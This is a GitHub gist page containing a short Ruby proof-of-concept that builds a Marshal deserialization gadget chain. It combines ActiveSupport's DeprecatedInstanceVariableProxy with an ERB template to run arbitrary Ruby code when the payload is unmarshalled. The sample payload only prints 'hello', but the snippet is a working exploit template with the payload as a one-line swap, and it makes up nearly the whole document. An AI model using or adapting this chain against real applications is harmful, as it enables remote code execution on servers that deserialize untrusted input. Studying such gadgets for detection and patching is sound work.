Skip to content

Instantly share code, notes, and snippets.

@cktricky
Created January 26, 2015 15:34
Show Gist options
  • Save cktricky/106d71e30b76e54c0bea to your computer and use it in GitHub Desktop.
Save cktricky/106d71e30b76e54c0bea to your computer and use it in GitHub Desktop.
def test
code = "eval('puts \"hello\"')"
return Base64.encode64 "\x04\x08" +
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
":\x0E@instance" +
"o"+":\x08ERB"+"\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method"+":\x0Bresult"
end
Marshal.load(Base64.decode64(test))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment